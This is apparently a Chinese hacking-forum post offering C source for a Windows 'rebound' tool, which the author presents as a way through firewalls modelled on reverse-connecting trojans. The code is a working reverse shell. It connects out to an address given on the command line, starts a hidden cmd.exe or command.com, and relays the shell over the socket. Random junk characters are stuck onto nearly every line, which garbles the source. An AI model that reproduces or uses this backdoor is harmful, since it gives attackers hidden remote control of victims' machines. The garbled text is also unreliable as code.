这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u\LG_/UJV1
&q~**^;'
/* ============================== }#0MJ6L
Rebound port in Windows NT 4HXqRFUD
By wind,2006/7 |]=. ^
===============================*/ i
T* !3
#include LF o{,%B
#include 'lmZ{a6
DXX(q k)6
#pragma comment(lib,"wsock32.lib") xW|^2k
7C~qAI6Eg
void OutputShell(); P(iZGOKUs=
SOCKET sClient; 0LI:R'P+P[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2K >tI9);
%1f, 8BM
void main(int argc,char **argv) Ve/"9?Y_
{ W5'07N^
WSADATA stWsaData; b _Q:v&
int nRet; RSL%<
SOCKADDR_IN stSaiClient,stSaiServer; Jt-s6-2
-^A=U7
if(argc != 3) _`RzPIS^
{ Xxl>,QUA
printf("Useage:\n\rRebound DestIP DestPort\n"); )HZUCi/F]
return; >R|*FYam
} /JP]5M)
@q=l H
*=
WSAStartup(MAKEWORD(2,2),&stWsaData); WY=RJe2
_PTo!aJL
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {8L)Fw
31BN ?q
stSaiClient.sin_family = AF_INET; 00DWXGt20o
stSaiClient.sin_port = htons(0); $#Mew:J
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mX@Un9k
lo }[o0X
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @3D8TPH
{ %y@iA91K
printf("Bind Socket Failed!\n"); @\~qXz{6J
return; 44s
K2
} ]J=S\
C):RE<X
stSaiServer.sin_family = AF_INET; eFO+@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n])-+[F
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M~&|-Hm
i?7%z`
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {HgW9N(
{ re.%$D@
printf("Connect Error!"); ]U :1NC"
return; p(2j7W-/
} "|1MJuY_6
OutputShell(); 6k#H>zY,
} 7e,<$PH
#xWC(*Ggp
void OutputShell() $Cu/!GA4.>
{ +n1jP<[<N
char szBuff[1024]; ^iaeY
jI
SECURITY_ATTRIBUTES stSecurityAttributes; vBUl6EmWu
OSVERSIONINFO stOsversionInfo; ,+p&ZpH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Bx(+uNQ
STARTUPINFO stStartupInfo; " mKMym2
char *szShell; x,9fOA
PROCESS_INFORMATION stProcessInformation; E)(`Z0
unsigned long lBytesRead; ] o!#]]
++KY+j.^
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vS~y~ uU%6
JOj\#!\>k0
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X,- '
v[z
stSecurityAttributes.lpSecurityDescriptor = 0; Z=: oIAe
stSecurityAttributes.bInheritHandle = TRUE; JCIm*6~
!g? ~<`
-Q@jL{Ue
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
]
=Js 5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); //--r5Q
;qI5GQ {
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l+'1>T.I
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k&nhF9Y4
stStartupInfo.wShowWindow = SW_HIDE; o3H+.u$
stStartupInfo.hStdInput = hReadPipe; Xco$
yF%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Tb-`0^y&X1
=N,KVMxw
GetVersionEx(&stOsversionInfo); y)3(
MDkIaz\U
switch(stOsversionInfo.dwPlatformId) }9C5U>?
{ c%.f|/.k
case 1: 9X&Xs/B
szShell = "command.com"; inBd.%Yr
break; H*QN/{|RU
default: m RCgKW<
szShell = "cmd.exe"; R|Ft@]
break; =#XsY,r
} nf< <]iHf
TJtW?c7
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q, E!Ew3
`
n{rzenPX
send(sClient,szMsg,77,0); zIbl[[M&
while(1) BfOG e!Si
{ =erA.u
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #SY8Zv
if(lBytesRead) X7kJWX
{ 7YbI|~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q:+Y-&||"
send(sClient,szBuff,lBytesRead,0); K*J8(/WkD
} D<7S
P,D
else T[))ful
{ /x_C
lBytesRead=recv(sClient,szBuff,1024,0); @];#4O
if(lBytesRead<=0) break; K/[v>(<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4~a0
} o,) p *glO
} *9^CgLF
Cu({%Gy+
return; ^JtGT
}